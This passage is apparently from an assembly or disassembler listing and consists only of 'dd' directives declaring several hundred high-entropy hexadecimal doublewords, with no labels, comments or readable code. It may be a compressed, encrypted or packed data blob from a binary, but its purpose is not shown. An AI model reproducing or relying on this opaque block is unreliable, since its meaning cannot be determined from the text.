		dd 7A350D9Dh, 13267DCh,	0EBE8F62h, 0E852FBEDh, 0EB004007h
		dd 0BA499A9Dh, 4F5170Ah, 0A58AC6DDh, 0E918804Ch, 0AC003F85h
		dd 3C6AFEA8h, 75F4A3h, 4416F1C9h, 0E26A1C6h, 0CC948500h
		dd 1A78EA52h, 0FDDB0CF5h, 6288864Bh, 82762E00h,	189BBB64h
		dd 0C272489h, 1830048h,	0B834438Fh, 604B4E07h, 81006106h
		dd 19A605h, 219B78C4h, 0C17491CBh, 0A95A6F00h, 0EC15F02Fh
		dd 0A351ED2h, 22F280DAh, 3CE2838Ch, 85C97F00h, 9AB146E6h
		dd 0F61B00F3h, 64720F42h, 71E517Bh, 8B403F20h, 23B5CE5Dh
		dd 7C160079h, 1BD78C55h, 0D30C5C69h, 0D8413C5Ah, 6B92005Eh
		dd 0DC17A4B4h, 0ED000137h, 83087F56h, 5545BFh, 0EF65423Ah
		dd 1293C2A3h, 0CE134700h, 0D8D70279h, 0EE5004Fh, 0E02BA056h
		dd 0F907FD67h, 2DF5424Eh, 7EFB8120h, 1FFE00DDh,	78692671h
		dd 0B6E0956Eh, 92277700h, 74D011D1h, 257D007Ch,	94BE22Ch
		dd 0D0A09ECAh, 5700CCE7h, 0EC6E6816h, 2CB7BEh, 0B80CB77h
		dd 8B15D5BFh, 2DE8AB04h, 7580964Ah, 2ECE6Fh, 0CD200AD9h
		dd 0B459EF75h, 9D7D0539h, 0F000EDF7h, 159A4ED8h, 0EBA1004Fh
		dd 0AC61E82Ah, 7B3B7A5Fh, 127480D6h, 7F45CA7Dh,	54E11E28h
		dd 102FC01Eh, 638B0CF7h, 71773409h, 0B8000047h,	1E8CDDF1h
		dd 7AB9DAh, 2F76BC72h, 0EC04D8FCh, 0B5506F40h, 439FFA80h
		dd 144749F0h, 57129A08h, 26AA6600h, 1C97C2D3h, 810210CCh
		dd 5929BB3h, 440E30FFh,	2678BA00h, 43096399h, 3279011Ah
		dd 3951C0F5h, 0BFB52091h, 0CF7F3F00h, 0DD8DFA88h, 797FF6h
		dd 6C39DBA7h, 4820CCA9h, 6F738700h, 7AFEEEE0h, 0F697211h
		dd 49700FFCh, 0D3E66B00h, 0B201A8AFh, 758830D7h, 7170D8DFh
		dd 625900FBh, 947AEBCBh, 5C02448Dh, 0D234241Eh,	63B460D3h
		dd 9BD60F9Ah, 5080332Ah, 0BEED12F6h, 0CCCB9C00h, 13A570C0h
		dd 0E5D60FD2h, 10608A09h, 84DD8652h, 0A7003F71h, 0B7A150E1h
		dd 3A6D64F1h, 8B00A517h, 8AC9C144h, 0B4015737h,	5BED4C43h
		dd 6830BC4Dh, 800F0079h, 127F333h, 78246F86h, 8039A142h
		dd 12C68D9Dh, 0FE0E6ABAh, 75A100A7h, 4891E164h,	8900CD47h
		dd 0DE03B3Ah, 755F4DD9h, 602E4C0Eh, 37939903h, 5A02B63h
		dd 1B004216h, 401573F9h, 50C809Eh, 78EEC364h, 5FFDC0E7h
		dd 0F0FB2A58h, 0A0069A3h, 92CBA5ACh, 4C79C0C8h,	643F85BAh
		dd 0A7258800h, 0E54327D8h, 30CB1702h, 80A8B407h, 9B341BBBh
		dd 45FF0395h, 0D771B33Ch, 7E499698h, 8D443300h,	0AF4D5307h
		dd 0D1D5071Ah, 608B0B85h, 0DB321DA3h, 0F9DDC10Eh, 0E6368192h
		dd 8EE845DFh, 0D587509Eh, 0FAD33DC8h, 4F803CBDh, 0ED4E7D68h
		dd 847A5EFDh, 3E2EB600h, 0BB947415h, 885703BCh,	49A08E40h
		dd 204D65A0h, 0B5969000h, 0CFEB0251h, 771F00BAh, 0B6E6FB34h
		dd 0ED009506h, 0DE5FFE20h, 0EC65A19Dh, 17370181h, 8AAC753Bh
		dd 0E168DDCCh, 1226D866h, 0D6F835FCh, 0BC67EB0Fh, 0BFB2C04Ah
		dd 8E01C3h, 0E2C13D1Dh,	0D0C526D5h, 2D00FC7Ch, 3457D92Ch
		dd 2064E9Eh, 0FAD5011Ah, 2240DB98h, 711FECE9h, 0D180BD3Ch
		dd 70B281E1h, 0F6750FD9h, 0C60013A0h, 0B493E73h, 69D8B400h
		dd 3B2BF23Ch, 0A691007Eh, 1F702AE0h, 46586E76h,	34BC2635h
		dd 7C6C9603h, 0C013AB04h
		dd 241EC43h, 7CA1BC8h, 0F760F98Fh, 0F0076899h, 84E65430h
		dd 94B12240h, 34574FDh,	8C8DED6Dh, 9E980A3Ch, 2E035A1Fh
		dd 544819EAh, 0C0678875h, 0AC7C0F95h, 6280162Dh, 37BB03Eh
		dd 3270C200h, 3B6F2F05h, 0D5E800B5h, 21B461E7h,	0EB0A1128h
		dd 0C8D3446Dh, 884C6F80h, 2C4FDCh, 2A0CBBB0h, 0C0FF1B57h
		dd 7D67C500h, 0AB34D24Dh, 4742000Fh, 314C28F0h,	6A00E40Eh
		dd 55A8A112h, 0EFC2669h, 0D659914Ah, 0B326B80h,	0AD7515D7h
		dd 5C0011E8h, 0BE5F34E4h, 0B09A976Dh, 0B0EB00A1h, 0AE159DE8h
		dd 5E00958Bh, 36E1A179h, 800796h, 0F8271CBh, 4A142221h
		dd 3D4F4300h, 0DE23456Ah, 5EFE01C1h, 3C24F27Bh,	0E8DCE4BFh
		dd 9DB1FF1Dh, 7643D940h, 15B3E0h, 0AA2FC47Fh, 5760CFF2h
		dd 7BC58602h, 801EEE4Bh, 42DF7A81h, 0FF1400F8h,	9E09F580h
		dd 6400575Fh, 2D7F6144h, 0ED78E8h, 4E590734h, 6C3E494Dh
		dd 0F1679300h, 885A3FF3h, 0D82F0031h, 1F61F03h,	3000EB50h
		dd 0CDCC5394h, 3AA029h,	5E6D8526h, 170E1C8h, 0AE02B41Fh
		dd 5C1F00BDh, 710D04F4h, 0CDAD006Ah, 0BF4B0AA2h, 8807BE67h
		dd 0D1AC070Eh, 37AECF90h, 2DA90004h, 9FC238B5h,	0A03ED0Fh
		dd 62FCA3C6h, 0A03EB023h, 4BA40982h, 7D7196h, 0E69E57B3h
		dd 1C27009Ch, 0FE0EDEF7h, 0E0005868h, 0F1A125D9h, 0C00FF9C4h
		dd 0A8A71290h, 8C0721CCh, 0D736686Fh, 90BD81E3h, 1B00F03h
		dd 9E10DD82h, 0F89B97FAh, 0D0FA4208h, 0F0B9493Bh, 0B13A4F00h
		dd 308EE6F6h, 0B7850029h, 1B07A36Fh, 16012A60h,	4EE9F8BFh
		dd 4830411Eh, 0BA2F0077h, 20AC71AAh, 45E455AEh,	82491600h
		dd 25D0334Bh, 59C7002Bh, 2243E05Fh, 0E3002A26h,	0DB315E12h
		dd 3FD8F29h, 903B0A74h,	1FC99284h, 5C4C703Dh, 68EFC200h
		dd 3A652C61h, 98B066h, 19DDD8E3h, 8F50E06Bh, 23E075Ch
		dd 3E4F9329h, 9E26E1DCh, 6A20FCh, 6DC5FDDFh, 6C5346A9h
		dd 3082A400h, 430F8874h, 98ADF6B4h, 5B98F6h, 16D49F25h
		dd 0D98FEC0Dh, 0F43A4E05h, 20D8A0EFh, 0DF6D2478h, 0D1A001Dh
		dd 0E004D9D8h, 1043B74h, 7A43A79Ch, 6CC1E0DDh, 3F4ADAD8h
		dd 0BB00F8A2h, 1F3B5EC2h, 9507DF94h, 38E5E0B6h,	0EE4FEBF1h
		dd 21626E0h, 0D41CCB07h, 0E8405AADh, 8AFE449Ch,	13001874h
		dd 4D250AC2h, 2CB9Fh, 4E28F582h, 9EA4D214h, 0A0E0ABA2h
		dd 3C03AD3Bh, 6B21BA5Ah, 0C771B843h, 21C9600Ah,	8DDFB296h
		dd 1E877400h, 6CBFE239h, 27E75C6h, 0B5A4AC6Bh, 0D4E07CB2h
		dd 0F23EC549h, 1185001Bh, 670CFD76h, 0AAEA2Ch, 82F88DD5h
		dd 31A79174h, 80052400h, 3ADEE0D7h, 801F6073h, 1527623Dh
		dd 0F9790C01h, 0E8B4B675h, 0B0AF7AFCh, 43FC09DCh, 9600990Ah
		dd 4A7C2F1Ah, 1116A498h, 0DC204CD4h, 11944E60h,	52569Ch
		dd 0D0AFDE6Dh, 242F94Bh, 5084144Fh, 10400DA8h, 991E4C6Eh
		dd 639EB6F0h, 0F6122381h, 5F3001AAh, 0A4925CBBh, 7BA7480Ch
		dd 0D2F64C40h, 821FC81Fh, 0AF9FB0C0h, 155D07Eh,	21F7AAEAh
		dd 0CC4B8C18h, 0E5004CD2h, 5EB9C52Ah, 6094A39Eh, 0C77F0482h
		dd 4000A1A2h, 1C1E6DA0h, 12FA2AF8h, 405CBA77h, 0E4FB635Ch
		dd 917D565Dh, 29038300h, 82460C69h, 31E00CE9h, 7F3EECA3h
		dd 0BA36F100h, 8CF33552h, 80AE00A4h, 0D3CF4229h, 1D77B478h
		dd 0A7FB4812h, 0ABFE5C00h, 3C8293h, 84270ED6h, 0E7ADC4FCh
		dd 624C2301h, 0B96C909Dh, 0E9C81050h, 291E00B7h, 615425C0h
		dd 51005EA7h, 7F66D797h, 3402F7h, 581A43A2h, 0E4167963h
		dd 0CB61D51Dh, 7650FF80h, 0C0AEB5C8h, 66C7A55Eh, 0C025C4Fh
		dd 0B90D85B8h, 959C60EFh, 6B7820h, 0FEC3F2E7h, 0BEBAA650h
		dd 1AEBCA00h, 525B4C7Fh, 2EC11C0Fh, 35CF000Ah, 42F6D2C4h
		dd 9C0C0E7Dh, 10D95AC9h, 0D3B00F1h, 4D29C6C0h, 2C389FA1h
		dd 91E0098h, 7227ABCAh,	0AE074003h, 138D0C08h, 9416816Ch
		dd 0EC1844D0h, 0B97C3865h, 0DCB27F00h, 0BBBAB840h, 0E4360050h
		dd 6501B674h, 0F40EF63Bh, 0E0E04D0Ah, 88D6ADF9h, 267B3827h
		dd 23D80180h, 6458B786h, 1E2C5200h, 70EA95BAh, 90BE0060h
		dd 0D79E41DBh, 9800066Bh, 0CAFE011h, 0F7AFCEBh,	8554D525h
		dd 0D64A0B20h, 7F85C7Eh, 7D312204h, 0F880D121h,	0E1F5803h
		dd 61B28C19h, 92E0031Eh, 0C38FBA9Ch, 0CD80D4A7h, 9E0090CEh
		dd 6F29F8C6h, 3B455D2h,	2C3DD5FDh, 0C7E81824h, 0F500325Ah
		dd 0E9B3A34Bh, 11120Eh,	54D24CDAh, 1D74C050h, 7F481B1Fh
		dd 4090EFC5h, 98186883h, 1A8C542h, 0F483E532h, 60EAE34Bh
		dd 0E70009C7h, 53AC39AFh, 1FFD8220h, 0CE9E8F55h, 18EFDE91h
		dd 0A53AAA40h, 7802CEEFh, 5929803h, 2AD5405Dh, 2FA90090h
		dd 0CBA2E176h, 0ED3A0AF2h, 0B83F761Dh, 0FC790039h, 0C8DC0E7Dh
		dd 0F4DB49AEh, 3BD0CE00h, 75A00FBEh, 0C585E70Fh, 86D1C41Eh
		dd 5192A090h, 0D2160743h, 1014E693h, 20772CE4h,	0F8F68A12h
		dd 0CDFB3807h, 0F8A05D03h, 0FB0CE08h, 3438582Bh, 0B9D8B580h
		dd 0C1EC66E2h, 5735400h, 3691D226h, 16DE0093h, 9B619ECEh
		dd 0FB073D2Ah, 0B62E669Ch, 0D944EF21h, 96457DF4h, 0FB1E6038h
		dd 5800DE3Ah, 0C23999ABh, 7A881CD8h, 901560A4h,	2F8E388Fh
		dd 50AC3B50h, 0E89CDF00h, 15902D6Ch, 42310014h,	84981655h
		dd 0FE003DA7h, 5C3ACE85h, 0FA300C19h, 0F70D0160h, 0FAD4FD97h
		dd 444E018h, 8D008A77h,	0ADED9DC0h, 93B3ECh, 7F2DF8B2h
		dd 415C9B89h, 9103EB78h, 0CCBCFB27h, 0C6D5E05Ah, 8023900Ch
		dd 2C56BFE8h, 48F925h, 0C88AF59Fh, 9805F64Bh, 3084BDD2h
		dd 319E15C0h, 10881C91h, 0B6024025h, 0C245526Ah, 0D6AA1A05h
		dd 0BA877EFEh, 15A2831h, 0DDE8A0h, 8B29AFA0h, 25889593h
		dd 0F44AA428h, 6CC97E00h, 19E22169h, 66C3005Eh,	3DC1A2E4h
		dd 40002D7Ah, 278D9549h, 17EAD8h, 50C83A09h, 0A81ECA52h
		dd 1C678A00h, 0EBF63DAFh, 95730097h, 0E3BB3B0Bh, 5008170h
		dd 1F63B5C4h, 8D486Ch, 0C017EDDBh, 5489202Eh, 9401D0B0h
		dd 4FEA58BFh, 1EE4F686h, 16950050h, 0A09F89F9h,	313EE95Eh
		dd 0E10680D0h, 0B4529475h, 5BE7064Eh, 0A08CED4Bh, 4FCBDA00h
		dd 239F6F03h, 9353007Eh, 0B5B4FD89h, 63008AAFh,	414EBA01h
		dd 0E0739DEAh, 0A46A0042h, 0F9A9F3B8h, 0A800857Bh, 6416FF99h
		dd 0B053B505h, 0A5334CACh, 82FA4E00h, 9F802F06h, 9C8E58h
		dd 2313AC28h, 0A05B528Ch, 0B0D4DCh, 794995E2h, 4428EFD9h
		dd 4FAD3D00h, 0F0309E1Ch, 0ED571280h, 973C00E4h, 0C9EC8806h
		dd 3DA99D48h, 5181074Eh, 86902BA1h, 2C2C6D1h, 0DDAC8F7Ah
		dd 0B8C073EEh, 1D007DD3h, 0B0A75B3Dh, 0F84F2355h, 40295B3Ah
		dd 2648F30Ch, 7004513h,	42E5A147h, 9BECFFh, 71FA03D0h
		dd 0A4897541h, 76DCF00h, 66831940h, 81E03B7Dh, 9E7B8E80h
		dd 213632BBh, 2886EF26h, 8AE50300h, 770A4E9Dh, 58D71E09h
		dd 7B6B4FACh, 6CF650A0h, 34139294h, 9407CAC4h, 23C456EAh
		dd 6097CF3h, 1400E943h,	6C861CCEh, 5F87FCA0h, 0BD184C12h
		dd 3B1E0700h, 7D4A7371h, 0E9E00C6h, 0B30D36B0h,	3D00FA9Bh
		dd 0DC574278h, 27D96D2Bh, 0C4007129h, 368CE917h, 0CBF8DAF4h
		dd 0FD44F507h, 0DC20874Ch, 5146DB5h, 0E4381F9Ah, 5518A4B1h
		dd 0A8DAD400h, 8781A519h, 98330008h, 2E7DFB07h,	0A072787Ah
		dd 72A8D263h, 32811C01h, 2F40013Eh, 60E60DEFh, 0E900D77Bh
		dd 821143B5h, 38E396h
		dd 0F5B41E55h, 841F46CCh, 73EBA500h, 4E18E42Ah,	0DA910001h
		dd 4A6967D4h, 0F5008E31h, 84F1FCFh, 0F0EC69Ah, 0BC683D59h
		dd 220F35C0h, 3EFAF904h, 176FB91Dh, 25337700h, 13E56D66h
		dd 20AC5511h, 29C5CFE0h, 0FB00E0B8h, 0BD79F3F2h, 0FC22C6h
		dd 730ED80Ch, 2A449512h, 77B63604h, 90C08D74h, 4FD582Fh
		dd 0A76DE8FEh, 0DFDDC054h, 0D0143473h, 0B444C7h, 0E37AD1C8h
		dd 302D586Fh, 0B8D0B3E9h, 0BC07F4AEh, 0CDBD3A14h, 0B1DF3EE3h
		dd 9C70AA73h, 97DC2DC2h, 0C5B4D422h, 6060A0CAh,	0BB2AB06Dh
		dd 1C1FA0DBh, 0A18FA809h, 4849E0E6h, 7FF2BC40h,	42DA009Ch
		dd 2ADBB7FCh, 0EE1337C0h, 4880BBE1h, 0F939DEh, 53614277h
		dd 9688944Bh, 0E299860Eh, 0C51E8040h, 21E51Bh, 2D9A55D6h
		dd 0F90630D8h, 5C830F00h, 0D2760EE3h, 0D6B61DA3h, 0F12128Fh
		dd 24876DF5h, 7089079Ch, 99DA0DC4h, 87E91100h, 0CFC1B801h
		dd 0DD020070h, 690FA4D8h, 76FCEFF1h, 5FA50400h,	0B1114BC7h
		dd 7B8A0034h, 0D7BF4CC5h, 2A000F13h, 0DB83E657h, 20B5A0h
		dd 3C4DC3Ah, 44FFE2D0h,	7BC30D01h, 4C59BA32h, 5C13FDC8h
		dd 0CC0140E7h, 0ECBE8175h, 0A600D315h, 2F469457h, 122C63FDh
		dd 26D43h, 0CDD5F88h, 0C400A62Eh, 7C4BFF49h, 8A599Ah, 3AD898F3h
		dd 9021806Ah, 0F0DC9600h, 8984AB36h, 83224C1Dh,	44271F01h
		dd 2CEDAA02h, 0F8861450h, 35F101D4h, 4E118B6Eh,	5A7C8h
		dd 849FDE49h, 0D94A8846h, 70551800h, 0C5481A1Ch, 0C8CD00B2h
		dd 3138BB3Ah, 0BC0052ADh, 0DA6C63F8h, 51C226h, 141F5B73h
		dd 0EE08BDD6h, 0A72EA401h, 0FE3752CCh, 0F2E8E4h, 9605D0C7h
		dd 16826F7Bh, 49586207h, 54708E1Ch, 0F320956h, 28272E4Eh
		dd 0C013A044h, 0D49ADB90h, 7601B571h, 0B37ADE08h, 2AC49579h
		dd 0EF9800C5h, 0EA800499h, 600489D5h, 9B465794h, 6B10F0h
		dd 0FB8AF2D9h, 12F982E8h, 37ABA001h, 459649E7h,	286CE6h
		dd 8A3314Bh, 0D89C4382h, 8719D73Fh, 0CABD071Bh,	940F030h
		dd 98280068h, 51E5D617h, 0A8BED291h, 2B50AB0Eh,	8182801Ah
		dd 1D4003FBh, 4434C37Fh, 801F3AC7h, 160E66F3h, 2C00349Ch
		dd 674FF3D0h, 68C0165Fh, 4A5C005Eh, 0BAC3FD33h,	809DE838h
		dd 479F17ECh, 5CEAB751h, 7C497Ah, 1A6B555Ah, 0C6DA7FB1h
		dd 4DC90500h, 0F914A788h, 77FF09CCh, 3082D198h,	90E2FC4Fh
		dd 0E7532C60h, 1275E01h, 1F6A4C63h, 9F7298E3h, 77AC0010h
		dd 0BB79DAFCh, 0F400B6CDh, 0A17DB44Ah, 9398CCh,	0A3BF2924h
		dd 5A0B9A2Dh, 824C0D00h, 0FBB49974h, 61C100D8h,	7B54AFEh
		dd 494E702Fh, 44F85404h, 72585B30h, 0E17DED01h,	29E0216Bh
		dd 0D93870h, 0A64BEF19h, 4F4DC406h, 2ED16800h, 0F8CA10AAh
		dd 0E5F007F6h, 9046580Ch, 4ABA467h, 18D4F300h, 0B1191BAAh
		dd 3C9CB821h, 0AC001ACEh, 24554A22h, 0F900BF0Dh, 33ADB931h
		dd 1DD2E342h, 406D29BEh, 0A2781AA9h, 0EA0BAACFh, 82762AFAh
		dd 406E142Ch, 0AF1B40h,	292D729Ah, 9BBAFBE8h, 0D546DE02h
		dd 0C858FDBDh, 73214590h, 0D31C1C88h, 84A82416h, 0C760284Dh
		dd 92920B0h, 0E112D0BDh, 40006FF0h, 0B6B90356h,	542A4CEBh
		dd 0B78CF800h, 8B094380h, 627CA900h, 9E856D94h,	0CB2F00B5h
		dd 4310B477h, 954A84ADh, 5DB328DCh, 71709Ch, 63C7192Eh
		dd 9834F576h, 68F4CD00h, 3AA104B2h, 0CEFB2556h,	7E1B848h
		dd 0F384FC00h, 0C1EDA6BDh, 85E70034h, 0EF2A2329h, 9A004769h
		dd 221B5C0Dh, 0AF98CDh,	85042D28h, 77F80EB9h, 7E120200h
		dd 0C1FE889Ah, 0CB592558h, 329D4CC1h, 989F1C40h, 0AB84DA40h
		dd 0ECF76D5Ch, 0DAC0027h, 89DEE602h, 0B70026B9h, 4406053Ah
		dd 0D7B2DBh, 43D6A1F1h,	7553769Fh, 83807200h, 0BF59277h
		dd 9B5E008Bh, 0AA60919Ch, 6874D5D3h, 0B3395200h, 210F9826h
		dd 3272042Ch, 804E4D03h, 0E3A7DFD4h, 0D500F3E4h, 9889EDD8h
		dd 0DAABE9h, 610FE4D6h,	671A6FDBh, 0B0288B00h, 0E085F1BAh
		dd 0EA50082h, 38EAF30Fh, 6F3A0BADh, 992A808Fh, 0A4B79F05h
		dd 0C48B0CCh, 0F0D5243Eh, 0A0956871h, 4650BDB4h, 0EAB90038h
		dd 2F5E645Dh, 0BC987DE1h, 71887300h, 3AB54D06h,	0BDC9001Bh
		dd 0DAEEE9D9h, 0C1166E3Dh, 0A3006069h, 18E76A26h, 3B40C46h
		dd 0BF6952E3h, 44012F07h, 6F25C565h, 0B27B880h,	0F66D009Ah
		dd 8D3626D6h, 1571B0FDh, 0FB79E000h, 466EAC4Ch,	83D90F52h
		dd 0C193869Ah, 0C0302024h, 84A89DCBh, 0E5185999h, 9158D504h
		dd 0E38D0052h, 1453F261h, 0A0013C2Eh, 0D91D62B4h, 44205E39h
		dd 0E7BA0366h, 1613EB19h, 372572C8h, 0F8286224h, 1BFE2600h
		dd 70140A51h, 0B98F1C4Bh, 176DC048h, 0DB551F2Dh, 0B0683000h
		dd 0C02F1EA1h, 0AF70005Fh, 9BA26CF0h, 9F00567Ch, 0E28BE554h
		dd 58084112h, 0B2000C77h, 0B82F85E1h, 0A700FA6Bh, 0D96F4E84h
		dd 81119Fh, 8D4BF244h, 0C6675186h, 39910202h, 80BFBD21h
		dd 1AB6169Fh, 7BB8E0h, 0B30B0FA7h, 0BA8ED102h, 0F00028BEh
		dd 0AB1F277Eh, 213100C8h, 0DAD7DB38h, 0EE000BE6h, 0CE6E3656h
		dd 9A2091h, 2305392Bh, 0B951C427h, 4400D878h, 4BBF628Fh
		dd 862B4Dh, 17D4C97Bh, 3880FCECh, 3AF88D01h, 0E3E8E061h
		dd 0F7AAECh, 5FA38773h,	29688648h, 94289277h, 0A03D807h
		dd 0C99716DCh, 870FE8EDh, 0F2FEFEh, 6820B684h, 398AA83Eh
		dd 708274Ch, 6314F403h,	1B8C6D81h, 0E8945C8h, 0C9339DA6h
		dd 0B2647FA0h, 0EE00F4DEh, 9C0E8EFEh, 7755371Fh, 0B1330016h
		dd 7C89182Eh, 70043E0h,	59A2F484h, 23CC48h, 3BB3E60h, 6FD201DCh
		dd 8A763907h, 10FB39Ch,	8E74C5A0h, 4A03F8h, 1072E73Eh
		dd 0B69F331Dh, 6C84D004h, 81BE93C8h, 0F4F3E0DDh, 794C68EAh
		dd 6F96063Dh, 7C82FBEh,	0D1CCA63Eh, 366D1085h, 0CE000F7Fh
		dd 0C255FA23h, 1E972E6h, 0A37126Eh, 0D0407974h,	0BB00D8E4h
		dd 0B05831EDh, 19F193Eh, 0E62DE822h, 6045D7CDh,	2A000518h
		dd 221C896h, 0C301B9h, 7B826681h, 0BFEED7A3h, 6107FE00h
		dd 454F3AD3h, 0B18900CFh, 0B43F1D66h, 0DE008AC6h, 9533E07Dh
		dd 2C1786h, 0F5AD9237h,	8F8D5B1Eh, 2097DD33h, 2954809Ch
		dd 0E130679h, 18903AFBh, 0F9A68800h, 0B768F128h, 7B9324BBh
		dd 37AD0056h, 0D7C4C725h, 47F78207h, 2FA084E7h,	7C3CDA5h
		dd 0CCD42078h, 330F7087h, 4C5C3B61h, 3F0175C6h,	0D7E85934h
		dd 0A6D0AE84h, 9024EE8Ch, 82F53E6Bh, 0D5B47281h, 0C8DA89C6h
		dd 8B00D416h, 0BDB228D8h, 3D9431CCh, 0D60002F5h, 7AA659A3h
		dd 0C80047CAh, 56553475h, 706E03E9h, 84212DBh, 0C60000DDh
		dd 0C8BE8E6h, 327A9400h, 8EE22A37h, 9ACB00C2h, 12ACD885h
		dd 97004BD7h, 80BE070h,	391DB2FCh, 6E82B18Dh, 0AC3980BCh
		dd 0B8A4F480h, 0AA070A23h, 653A92E5h, 780D6473h, 6002003Ah
		dd 4C34CEBDh, 5E008A36h, 4F45C2F2h, 40186h, 49582EE4h
		dd 0F04C07EEh, 80F2843Bh, 0FC40A8CFh, 0A68259h,	0BEA97D15h
		dd 67053D65h, 28D0C100h, 9E542E2h, 5EF00353h, 36C5A204h
		dd 0A0ACCEE0h, 8500DDFCh, 989D4AF2h, 38A67Dh, 9CAF0CB5h
		dd 3D2DEB13h, 563040F8h, 70F1B98Dh, 0B7CF1265h,	2B9440A7h
		dd 0DABA8FFFh, 54833600h, 0DE1233BDh, 9597005Dh, 5117EE14h
		dd 3D00A690h, 745B7BCBh, 1C39205Fh, 80E145B4h, 0BAB2929Dh
		dd 0C0F72FB0h, 53023A91h, 225BB0Eh, 0F00843CAh,	0FCD3BF24h
		dd 7EF226h, 0BEE41EC6h,	64398C61h, 87217904h, 5A8170EAh
		dd 0A420C73Ah, 84E00135h, 0BBE428BFh, 0B19FFC4Fh, 7CFB5400h
		dd 4E752DB4h, 0E9B31FD7h, 0C5BA444Dh, 44EC81B0h, 846C209Dh
		dd 3516B48h, 2DACC375h,	0FC90DF0Dh, 1E178Dh, 0AA30A310h
		dd 6DE48E28h, 0E6428F00h, 634EA42Dh, 0BB4F14F2h, 581DA8A2h
		dd 804A1E79h, 0DF80BE3Eh, 6B002D7Eh, 3B9FB378h,	0F36D35h
		dd 4BD244DAh, 0DC69E222h, 3318E362h, 61034052h,	938C00B6h
		dd 0C7D62ACFh, 0A2186B25h, 2D41488Ah, 4BA10060h, 0E59CC185h
		dd 9F024CF2h, 0C0D03AA5h, 1816C0FDh, 5E850098h,	2358FB97h
		dd 0B6005FF8h, 467405CBh, 3D671FB9h, 0AA809D02h, 93C31D63h
		dd 800603Ch, 0ABBE5C3Ah, 6EBA7h, 0A65E57B1h, 0FD33F541h
		dd 70F4382Ch, 0A30E831Dh, 794FFFh, 34A93B7h, 96B4A8E4h
		dd 85620097h, 0EC317F35h, 1058BBDAh, 0A49A027Fh, 4086465Ah
		dd 1F8C2D20h, 0C3C2953Eh, 52156658h, 503D0AA0h,	8F2A1F0Fh
		dd 0C2A240B2h, 324626h,	9131DBF8h, 67BC076Ch, 0F43D4403h
		dd 0D8FAC302h, 0BDDA6C6h, 0FD0E0658h, 0F1D09783h, 375AAD8h
		dd 0C848D27Bh, 5D9F0005h, 0DFE74ED8h, 0EB47125Ah, 383A01F6h
		dd 7092E4AFh, 610283FBh, 5CA25B46h, 54C0609Eh, 175A009Ch
		dd 5524D1B6h, 17A9808h,	0C5B76700h, 0DA18D561h,	8EC200AAh
		dd 622FE510h, 521DFC9Fh, 8480A4D1h, 0F094AEBh, 1C6B07CFh
		dd 0E802F7h, 118E0DF5h,	0D7D03100h, 0CEACEBA9h,	0C887011Bh
		dd 9A219741h, 991130FBh, 0E3ED9000h, 22D01D03h,	0EA2A01A2h
		dd 0C2189A4Eh, 0C039D8ECh, 267ACD00h, 0F9E00264h, 3A85FA94h
		dd 12F62409h, 404B0C1Ah, 0A07B21B4h, 780019F2h,	0F974C29Fh
		dd 54E7EABh, 0E6FC641h,	0F2DBC082h, 0C8092F70h,	80FE8919h
		dd 7E9857E0h, 637FA0h, 5F964A10h, 0EAFA01DAh, 3BDED900h
		dd 0CDB5C5E0h, 0A9A3EBEh, 70AB5D81h, 0F4782217h, 0B100EBD1h
		dd 0A114C85Ch, 132A57Dh, 0FE244D4h, 0DCB7DE75h,	4B00F4A0h
		dd 98D7EC68h, 0EC53C83Ch, 9F7B008Ch, 0B941426Ch, 44076450h
		dd 0ADA8624Eh, 0AF1C3980h, 0DEBC0003h, 0CC0A11ACh, 1031F69h
		dd 0EF22C6A5h, 0A7EED8B4h, 52031E92h, 0E3248076h, 6378703Eh
		dd 23604100h, 9CF80189h, 0E09A00DDh, 84955566h,	0AC90D911h
		dd 0EFF3A00h, 54908588h, 9D810026h, 1B18E58Eh, 8300BF2Fh
		dd 0C5DBFF70h, 0BA2E015h, 5A827406h, 6563BF01h,	0A09C20F9h
		dd 0E0B43800h, 23E679E7h, 56B90324h, 0E38E6BC5h, 30F24000h
		dd 358BB4D9h, 0F478C1A6h, 0D3C21A32h, 0CC998801h, 39A9E27Dh
		dd 0A7F2DA41h, 0E6B9DC30h, 0CD4A0707h, 8091D264h, 0C7E7064Dh
		dd 2D3A2002h, 40ACB51Dh, 4C525BEDh, 5E016695h, 50C20899h
		dd 2008408Dh, 0D4596F60h, 9DAE38A8h, 6840612Fh,	0D84A3B8Eh
		dd 7061D854h, 310E0957h, 0E04B6FD1h, 76B51615h,	0B1EA0040h
		dd 0CDD54E9Fh, 0FF0C0988h, 0D1A9D8BEh, 68CF1E71h, 3C3B45CAh
		dd 93B04098h, 9735D6A5h, 59860600h, 304DF5E4h, 20AA01C3h
		dd 7E6D3BCCh, 1A0BFCE7h, 0E3973400h, 0CD1C1D0h,	32DE0172h
		dd 0A27BEA89h, 779E4A5h, 0AED2F601h, 9DD49C08h,	1CBC0AD0h
		dd 1F319781h, 4B6AC3FEh, 0D2E05D3Eh, 0AE01EE66h, 47C3B901h
		dd 0D1E82017h, 0C2D300A2h, 3FC1A57Fh, 0CC0028F8h, 0AD933006h
		dd 0C1145C42h, 756E1F1Eh, 0EBE3F4C5h, 0C6E45300h, 0B66D044h
		dd 948000E0h, 6105B6F4h, 0FE00E9E2h, 0B716B1AEh, 7A8C687h
		dd 9A5E77A1h, 2CA3A04Dh, 4005548h, 0D387D669h, 976DB1h
		dd 58BCBBB2h, 0D8070C7Bh, 4C6E9100h, 1CD52EBDh,	0E4A0A8D2h
		dd 8ABC0028h, 7AF08016h, 4E00060Eh, 116ACD03h, 52D50FAFh
		dd 451DB837h, 0DC428026h, 2FF2E185h, 0D05AFD28h, 0D0342D00h
		dd 52219AC8h, 0FE419h, 0FD84B3A8h, 96834E20h, 353FC00h
		dd 92726791h, 0F59730A2h, 1977DA58h, 0C6EDD100h, 82F6C437h
		dd 2824F78Dh, 0DF2716E6h, 68E91572h, 69286A00h,	5F643FE0h
		dd 7E008077h, 364F652Fh, 325B70h, 4CBB4EACh, 4809CD6Eh
		dd 0E3837500h, 18F30693h, 0C2DB0D53h, 6181BEAFh, 0E1BF95h
		dd 9E814A0h, 81E6B8h, 2EFD7F23h, 0E421E31h, 0B0449D00h
		dd 0A9785B33h, 506D0745h, 27BFEFF2h, 0F4204F72h, 0D9CC0757h
		dd 0FF375A06h, 0AE9A527h, 0F8C133AFh, 0A3EE0008h, 0AED695Ch
		dd 3F825F00h, 0B5836688h, 2AC738F7h, 532FCD00h,	813B23D3h
		dd 7C453600h, 0D4DD1516h, 716372EBh, 0AAF30065h, 0AD918699h
		dd 0D3781913h, 0D6032400h, 3F5BA1B9h, 0FEB40023h, 920ECF35h
